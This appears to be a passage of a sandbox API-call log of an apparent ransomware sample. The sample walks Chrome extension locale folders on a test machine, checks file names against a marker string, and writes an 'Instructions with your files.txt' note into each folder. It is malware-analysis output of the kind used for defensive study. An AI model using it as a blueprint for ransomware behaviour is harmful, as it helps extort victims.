[0129.388] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.388] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json") returned 157
[0129.388] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.388] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852893f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.388] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\Instructions with your files.txt") returned 176
[0129.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.388] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.389] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.389] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.389] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.390] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.390] CloseHandle (hObject=0x134) returned 1
[0129.390] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.390] GetProcessHeap () returned 0x810000
[0129.390] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.390] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.390] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR") returned 146
[0129.390] GetProcessHeap () returned 0x810000
[0129.390] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.390] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*") returned 148
[0129.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.394] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\.") returned 148
[0129.394] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.394] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\..") returned 149
[0129.394] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.394] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 160
[0129.394] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.394] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.394] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 179
[0129.394] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.394] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.395] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.395] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.395] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.396] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.396] CloseHandle (hObject=0x134) returned 1
[0129.396] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.396] GetProcessHeap () returned 0x810000
[0129.396] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.396] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.396] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT") returned 146
[0129.396] GetProcessHeap () returned 0x810000
[0129.396] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.396] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*") returned 148
[0129.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.396] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\.") returned 148
[0129.396] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.396] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\..") returned 149
[0129.396] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.396] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 160
[0129.396] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.396] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.396] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 179
[0129.397] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.397] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.398] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.398] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.398] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.398] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.398] CloseHandle (hObject=0x134) returned 1
[0129.398] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.398] GetProcessHeap () returned 0x810000
[0129.398] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.398] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.398] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro") returned 143
[0129.398] GetProcessHeap () returned 0x810000
[0129.398] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.398] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*") returned 145
[0129.398] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.399] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\.") returned 145
[0129.399] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x852b04f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.399] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\..") returned 146
[0129.399] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.399] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 157
[0129.399] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.399] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x852b04f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x852b04f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.400] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\Instructions with your files.txt") returned 176
[0129.400] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.400] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.401] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.401] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.401] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.401] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.401] CloseHandle (hObject=0x134) returned 1
[0129.401] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.401] GetProcessHeap () returned 0x810000
[0129.401] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
